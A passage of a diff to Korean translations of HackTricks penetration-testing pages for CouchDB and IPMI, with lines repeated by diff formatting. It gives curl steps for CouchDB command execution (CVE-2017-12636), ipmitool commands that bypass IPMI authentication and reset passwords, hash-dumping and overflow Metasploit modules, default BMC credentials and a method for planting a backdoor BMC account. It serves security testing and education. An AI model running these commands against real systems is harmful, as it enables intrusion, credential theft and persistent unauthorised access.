curl http://localhost:5984
|
curl http://localhost:5984
|
||||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||||
|
@ -254,49 +199,50 @@ CouchDB 버전 2.0을 수용하기 위해 새로운 경로가 사용됩니다:
|
||||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||||
```
|
```
|
||||||
다음 출력에서 나타나는 대로 새로운 쿼리 서버를 추가하고 호출하려고 시도했지만 권한 관련 오류가 발생했습니다.
|
새 쿼리 서버를 추가하고 호출하려는 시도는 다음 출력에서 나타난 것처럼 권한 관련 오류로 이어졌습니다:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||||
```
|
```
|
||||||
추가 조사 결과 `local.ini` 파일에 권한 문제가 발견되었습니다. 해당 파일은 쓰기가 불가능한 상태였습니다. root 또는 homer 액세스를 사용하여 파일 권한을 수정함으로써 진행이 가능해졌습니다:
|
추가 조사를 통해 `local.ini` 파일에 대한 권한 문제가 발견되었으며, 해당 파일은 쓰기 불가능했습니다. root 또는 homer 접근 권한으로 파일 권한을 수정함으로써 진행할 수 있게 되었습니다:
|
||||||
```bash
|
```bash
|
||||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||||
chmod 666 /home/homer/etc/local.ini
|
chmod 666 /home/homer/etc/local.ini
|
||||||
```
|
```
|
||||||
다음 시도에서 쿼리 서버를 추가하는 것에 성공했으며, 응답에서 오류 메시지가 없는 것으로 확인되었습니다. `local.ini` 파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:
|
후속 쿼리 서버 추가 시도가 성공했으며, 이는 응답에 오류 메시지가 없음을 통해 입증되었습니다. `local.ini` 파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||||
```
|
```
|
||||||
프로세스는 데이터베이스와 문서를 생성한 후, 새로 추가된 쿼리 서버에 매핑된 사용자 정의 뷰를 통해 코드를 실행하려는 시도로 이어졌습니다:
|
데이터베이스와 문서를 생성한 후, 새로 추가된 쿼리 서버에 매핑된 사용자 정의 뷰를 통해 코드를 실행하려는 시도가 이어졌습니다:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||||
```
|
```
|
||||||
특정 조건 하에서 CVE-2017-12636을 악용하는 데 대한 추가적인 통찰력을 제공하는 **[요약](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**은 대체 페이로드로 제공됩니다. 이 취약점을 악용하기 위한 **유용한 자료**는 다음과 같습니다:
|
A **[요약](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**은 특정 조건에서 CVE-2017-12636을 악용하는 데 대한 추가 통찰력을 제공합니다. 이 취약점을 악용하기 위한 **유용한 리소스**는 다음과 같습니다:
|
||||||
|
|
||||||
- [POC 악용 코드](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
- [POC 익스플로잇 코드](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||||
- [Exploit Database 항목](https://www.exploit-db.com/exploits/44913/)
|
- [익스플로잇 데이터베이스 항목](https://www.exploit-db.com/exploits/44913/)
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:5984 couchdb`
|
* `port:5984 couchdb`
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -2,66 +2,68 @@
|
||||||
|
|
||||||
## 623/UDP/TCP - IPMI
|
## 623/UDP/TCP - IPMI
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로에서 영웅까지 AWS 해킹 배우기</strong>를 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## Basic Information
|
||||||
|
|
||||||
### **IPMI 개요**
|
### **IPMI 개요**
|
||||||
|
|
||||||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**는 운영 체제나 전원 상태와 관계없이 컴퓨터 시스템의 원격 관리 및 모니터링을 표준화된 방식으로 제공합니다. 이 기술을 사용하면 시스템 관리자가 시스템을 원격으로 관리할 수 있으며, 시스템이 꺼져 있거나 응답하지 않을 때에도 특히 유용합니다. 다음과 같은 경우에 특히 유용합니다.
|
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**는 운영 체제나 전원 상태와 관계없이 컴퓨터 시스템의 원격 관리 및 모니터링을 위한 표준화된 접근 방식을 제공합니다. 이 기술은 시스템 관리자가 시스템이 꺼져 있거나 응답하지 않을 때에도 원격으로 시스템을 관리할 수 있게 해주며, 특히 유용한 경우는 다음과 같습니다:
|
||||||
|
|
||||||
- Pre-OS 부팅 구성
|
- OS 부팅 전 구성
|
||||||
- 전원 관리
|
- 전원 관리
|
||||||
- 시스템 장애 복구
|
- 시스템 장애 복구
|
||||||
|
|
||||||
IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링하고, 인벤토리 정보를 제공하며, 하드웨어 로그를 검토하고, SNMP를 통해 경고를 보내는 기능을 제공합니다. 작동에 필요한 주요 요소는 전원 공급원과 LAN 연결입니다.
|
IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링할 수 있으며, 인벤토리 정보 제공, 하드웨어 로그 검토 및 SNMP를 통한 경고 전송 기능도 제공합니다. 작동에 필수적인 요소는 전원 공급 장치와 LAN 연결입니다.
|
||||||
|
|
||||||
1998년 Intel에 의해 도입된 이후, IPMI는 다양한 공급업체에서 지원되어 원격 관리 기능을 향상시켰으며, 특히 버전 2.0에서는 LAN을 통한 시리얼 지원을 제공했습니다. 주요 구성 요소는 다음과 같습니다.
|
1998년 Intel에 의해 도입된 이후, IPMI는 여러 공급업체에 의해 지원되어 원격 관리 기능을 향상시켰으며, 특히 2.0 버전의 LAN을 통한 직렬 지원이 추가되었습니다. 주요 구성 요소는 다음과 같습니다:
|
||||||
|
|
||||||
- **Baseboard Management Controller (BMC):** IPMI 작업을 위한 주요 마이크로 컨트롤러입니다.
|
- **Baseboard Management Controller (BMC):** IPMI 작업을 위한 주요 마이크로 컨트롤러.
|
||||||
- **통신 버스 및 인터페이스:** 내부 및 외부 통신을 위한 ICMB, IPMB 및 로컬 및 네트워크 연결용 다양한 인터페이스를 포함합니다.
|
- **통신 버스 및 인터페이스:** ICMB, IPMB 및 다양한 로컬 및 네트워크 연결을 위한 인터페이스를 포함한 내부 및 외부 통신을 위한 것.
|
||||||
- **IPMI 메모리:** 로그 및 데이터 저장을 위한 메모리입니다.
|
- **IPMI 메모리:** 로그 및 데이터를 저장하기 위한 것.
|
||||||
|
|
||||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||||
|
|
||||||
**기본 포트**: 623/UDP/TCP (보통 UDP에서 실행되지만 TCP에서 실행될 수도 있습니다)
|
**기본 포트**: 623/UDP/TCP (보통 UDP에서 실행되지만 TCP에서도 실행될 수 있습니다)
|
||||||
|
|
||||||
## 열거
|
## Enumeration
|
||||||
|
|
||||||
### 탐색
|
### Discovery
|
||||||
```bash
|
```bash
|
||||||
nmap -n -p 623 10.0.0./24
|
nmap -n -p 623 10.0.0./24
|
||||||
nmap -n-sU -p 623 10.0.0./24
|
nmap -n-sU -p 623 10.0.0./24
|
||||||
use auxiliary/scanner/ipmi/ipmi_version
|
use auxiliary/scanner/ipmi/ipmi_version
|
||||||
```
|
```
|
||||||
다음을 사용하여 **버전**을 **식별**할 수 있습니다:
|
You can **identify** the **version** using:
|
||||||
|
당신은 다음을 사용하여 **버전**을 **식별**할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/ipmi/ipmi_version
|
use auxiliary/scanner/ipmi/ipmi_version
|
||||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||||
```
|
```
|
||||||
### IPMI 취약점
|
### IPMI 취약점
|
||||||
|
|
||||||
IPMI 2.0의 영역에서, Dan Farmer에 의해 **암호 유형 0**을 통한 중대한 보안 취약점이 발견되었습니다. 이 취약점은 [Dan Farmer의 연구](http://fish2.com/ipmi/cipherzero.html)에서 자세히 설명되어 있으며, 유효한 사용자가 대상인 경우 어떤 비밀번호를 제공하더라도 무단 액세스를 가능하게 합니다. 이 취약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되었으며, 모든 IPMI 2.0 구현에서 보편적인 문제임을 시사합니다.
|
IPMI 2.0 영역에서 Dan Farmer에 의해 중요한 보안 결함이 발견되었으며, **cipher type 0**을 통해 취약점이 노출되었습니다. 이 취약점은 [Dan Farmer의 연구](http://fish2.com/ipmi/cipherzero.html)에서 자세히 문서화되어 있으며, 유효한 사용자가 목표로 삼을 경우 제공된 비밀번호로 무단 접근을 가능하게 합니다. 이 약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되어 모든 IPMI 2.0 구현에서 광범위한 문제를 시사합니다.
|
||||||
|
|
||||||
### **Cipher 0를 통한 IPMI 인증 우회**
|
### **Cipher 0을 통한 IPMI 인증 우회**
|
||||||
|
|
||||||
이 취약점을 탐지하기 위해 다음 Metasploit 보조 스캐너를 사용할 수 있습니다:
|
이 결함을 탐지하기 위해 다음의 Metasploit 보조 스캐너를 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||||
```
|
```
|
||||||
이 취약점을 악용하기 위해 `ipmitool`을 사용하여 아래와 같이 시연할 수 있으며, 이를 통해 사용자 비밀번호의 목록화와 수정이 가능합니다:
|
이 결함의 악용은 아래에示된 `ipmitool`을 사용하여 가능하며, 사용자 비밀번호의 나열 및 수정을 허용합니다:
|
||||||
```bash
|
```bash
|
||||||
apt-get install ipmitool # Installation command
|
apt-get install ipmitool # Installation command
|
||||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||||
|
@ -69,45 +71,45 @@ ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
||||||
```
|
```
|
||||||
### **IPMI 2.0 RAKP 인증 원격 비밀번호 해시 검색**
|
### **IPMI 2.0 RAKP 인증 원격 비밀번호 해시 검색**
|
||||||
|
|
||||||
이 취약점은 기존 사용자 이름에 대한 소금 처리된 해시된 비밀번호 (MD5 및 SHA1)를 검색할 수 있게 합니다. 이 취약점을 테스트하기 위해 Metasploit은 다음 모듈을 제공합니다:
|
이 취약점은 기존 사용자 이름에 대한 솔트가 추가된 해시 비밀번호(MD5 및 SHA1)를 검색할 수 있게 해줍니다. 이 취약점을 테스트하기 위해 Metasploit은 모듈을 제공합니다:
|
||||||
```bash
|
```bash
|
||||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||||
```
|
```
|
||||||
### **IPMI 익명 인증**
|
### **IPMI 익명 인증**
|
||||||
|
|
||||||
많은 BMC(Bare Metal Controller)에서 기본 구성으로 "익명" 액세스가 허용됩니다. 이는 사용자 이름과 비밀번호가 없는 문자열로 특징 지어집니다. 이 구성은 `ipmitool`을 사용하여 명명된 사용자 계정의 비밀번호를 재설정하는 데 악용될 수 있습니다:
|
많은 BMC의 기본 구성은 null 사용자 이름 및 비밀번호 문자열로 특징지어지는 "익명" 액세스를 허용합니다. 이 구성은 `ipmitool`을 사용하여 명명된 사용자 계정의 비밀번호를 재설정하는 데 악용될 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||||
```
|
```
|
||||||
### **Supermicro IPMI 평문 암호**
|
### **Supermicro IPMI 평문 비밀번호**
|
||||||
|
|
||||||
IPMI 2.0에서의 중요한 설계 선택 사항은 인증 목적으로 BMC 내에 평문 암호를 저장해야 한다는 것입니다. Supermicro는 이러한 암호를 `/nv/PSBlock` 또는 `/nv/PSStore`와 같은 위치에 저장하는 것으로 알려져 있으며, 이는 중대한 보안 문제를 일으킵니다:
|
IPMI 2.0의 중요한 설계 선택은 인증 목적으로 BMC 내에 평문 비밀번호를 저장해야 함을 요구합니다. Supermicro가 이러한 비밀번호를 `/nv/PSBlock` 또는 `/nv/PSStore`와 같은 위치에 저장하는 것은 심각한 보안 문제를 야기합니다:
|
||||||
```bash
|
```bash
|
||||||
cat /nv/PSBlock
|
cat /nv/PSBlock
|
||||||
```
|
```
|
||||||
### **Supermicro IPMI UPnP 취약점**
|
### **Supermicro IPMI UPnP 취약점**
|
||||||
|
|
||||||
Supermicro의 IPMI 펌웨어에 포함된 UPnP SSDP 수신기는 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 [Rapid7의 공개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)에 자세히 설명되어 있으며, BMC에 대한 루트 액세스를 허용합니다.
|
Supermicro의 IPMI 펌웨어에 UPnP SSDP 리스너를 포함하는 것은 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. [Rapid7의 공개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)에서 자세히 설명된 Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 BMC에 대한 루트 접근을 허용합니다:
|
||||||
```bash
|
```bash
|
||||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||||
```
|
```
|
||||||
### 무차별 대입 공격
|
### Brute Force
|
||||||
|
|
||||||
**HP는 Integrated Lights Out (iLO)** 제품의 **기본 암호를 제조 과정에서 무작위로 설정**합니다. 이는 다른 제조업체와 대조적으로 **고정된 기본 자격 증명**을 사용하는 경향이 있는 것과 대조됩니다. 다양한 제품의 기본 사용자 이름과 암호에 대한 요약은 다음과 같습니다:
|
**HP는 제조 중에** **Integrated Lights Out (iLO)** **제품의 기본 비밀번호를 무작위로 설정합니다.** 이 관행은 **정적 기본 자격 증명**을 사용하는 다른 제조업체와 대조적입니다. 다양한 제품에 대한 기본 사용자 이름과 비밀번호 요약은 다음과 같습니다:
|
||||||
|
|
||||||
- **HP Integrated Lights Out (iLO)**는 **공장에서 무작위로 생성된 8자리 문자열**을 기본 암호로 사용하여 더 높은 보안 수준을 제공합니다.
|
- **HP Integrated Lights Out (iLO)**는 기본 비밀번호로 **공장에서 무작위로 생성된 8자 문자열**을 사용하여 더 높은 보안 수준을 보여줍니다.
|
||||||
- **Dell의 iDRAC, IBM의 IMM** 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 제품은 "calvin", "PASSW0RD" (0으로 대체), "admin"과 같이 쉽게 추측 가능한 암호를 사용합니다.
|
- **Dell의 iDRAC, IBM의 IMM**, 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 제품은 각각 "calvin", "PASSW0RD" (0 포함), "admin"과 같은 쉽게 추측할 수 있는 비밀번호를 사용합니다.
|
||||||
- 마찬가지로 **Supermicro IPMI (2.0), Oracle/Sun ILOM** 및 **ASUS iKVM BMC**도 간단한 기본 자격 증명을 사용하며, "ADMIN", "changeme", "admin"이 각각 암호로 사용됩니다.
|
- 유사하게, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, 및 **ASUS iKVM BMC**도 각각 "ADMIN", "changeme", "admin"과 같은 간단한 기본 자격 증명을 사용합니다.
|
||||||
|
|
||||||
|
|
||||||
## BMC를 통한 호스트 접근
|
## Accessing the Host via BMC
|
||||||
|
|
||||||
Baseboard Management Controller (BMC)에 대한 관리 권한을 획득하면 호스트 운영 체제에 접근할 수 있는 다양한 경로가 열립니다. 간단한 접근 방법은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 악용하는 것입니다. 이는 호스트를 GRUB를 통해 루트 쉘로 재부팅하거나 구조용 디스크로 설정된 가상 CD-ROM에서 부팅하여 수행할 수 있습니다. 이러한 방법을 통해 호스트의 디스크를 직접 조작할 수 있으며, 백도어 삽입, 데이터 추출 또는 보안 평가에 필요한 모든 작업을 수행할 수 있습니다. 그러나 이는 호스트를 재부팅해야 하는 단점이 있습니다. 재부팅하지 않고 실행 중인 호스트에 접근하는 것은 더 복잡하며, 호스트의 구성에 따라 다양합니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태로 유지되면 BMC의 KVM 또는 serial-over-LAN (sol) 기능을 통해 쉽게 탈취될 수 있습니다. i2c 버스와 Super I/O 칩과 같은 공유 하드웨어 자원의 악용에 대한 탐색은 추가적인 조사가 필요한 분야입니다.
|
Baseboard Management Controller (BMC)에 대한 관리 액세스는 호스트의 운영 체제에 접근할 수 있는 다양한 경로를 엽니다. 간단한 접근 방식은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 악용하는 것입니다. 이는 GRUB를 통해 루트 셸로 호스트를 재부팅하거나 가상 CD-ROM에서 복구 디스크로 부팅하여 수행할 수 있습니다. 이러한 방법은 호스트의 디스크를 직접 조작할 수 있게 하며, 백도어 삽입, 데이터 추출 또는 보안 평가를 위한 필요한 작업을 포함합니다. 그러나 이는 호스트를 재부팅해야 하므로 상당한 단점이 있습니다. 재부팅 없이 실행 중인 호스트에 접근하는 것은 더 복잡하며 호스트의 구성에 따라 다릅니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태라면 BMC의 KVM 또는 LAN을 통한 직렬 기능을 사용하여 쉽게 장악할 수 있습니다. i2c 버스 및 Super I/O 칩과 같은 공유 하드웨어 리소스의 악용을 탐색하는 것은 추가 조사가 필요한 영역입니다.
|
||||||
|
|
||||||
## 호스트에서 BMC로 백도어 삽입
|
## Introducing Backdoors into BMC from the Host
|
||||||
|
|
||||||
BMC가 장착된 호스트를 침해한 후 **로컬 BMC 인터페이스를 활용하여 백도어 사용자 계정을 삽입**하여 서버에 지속적인 존재를 만들 수 있습니다. 이 공격은 침해된 호스트에 **`ipmitool`**이 설치되어 있고 BMC 드라이버 지원이 활성화되어 있는 경우에만 가능합니다. 다음 명령은 호스트의 로컬 인터페이스를 사용하여 BMC에 새 사용자 계정을 삽입하는 방법을 보여줍니다. 이 기술은 Linux, Windows, BSD 및 심지어 DOS를 포함한 다양한 운영 체제에 적용할 수 있습니다.
|
BMC가 장착된 호스트를 손상시키면, **로컬 BMC 인터페이스를 활용하여 백도어 사용자 계정을 삽입할 수 있습니다.** 이는 서버에 지속적인 존재를 생성합니다. 이 공격은 손상된 호스트에 **`ipmitool`**이 존재하고 BMC 드라이버 지원이 활성화되어 있어야 합니다. 다음 명령은 인증 없이 호스트의 로컬 인터페이스를 사용하여 BMC에 새 사용자 계정을 주입하는 방법을 보여줍니다. 이 기술은 Linux, Windows, BSD, 심지어 DOS를 포함한 다양한 운영 체제에 적용 가능합니다.
|
||||||
```bash
|
```bash
|
||||||
ipmitool user list
|
ipmitool user list
|
||||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||||
|
@ -125,22 +127,23 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||||
```
|
```
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `포트:623`
|
* `port:623`
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기법을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,35 +1,37 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
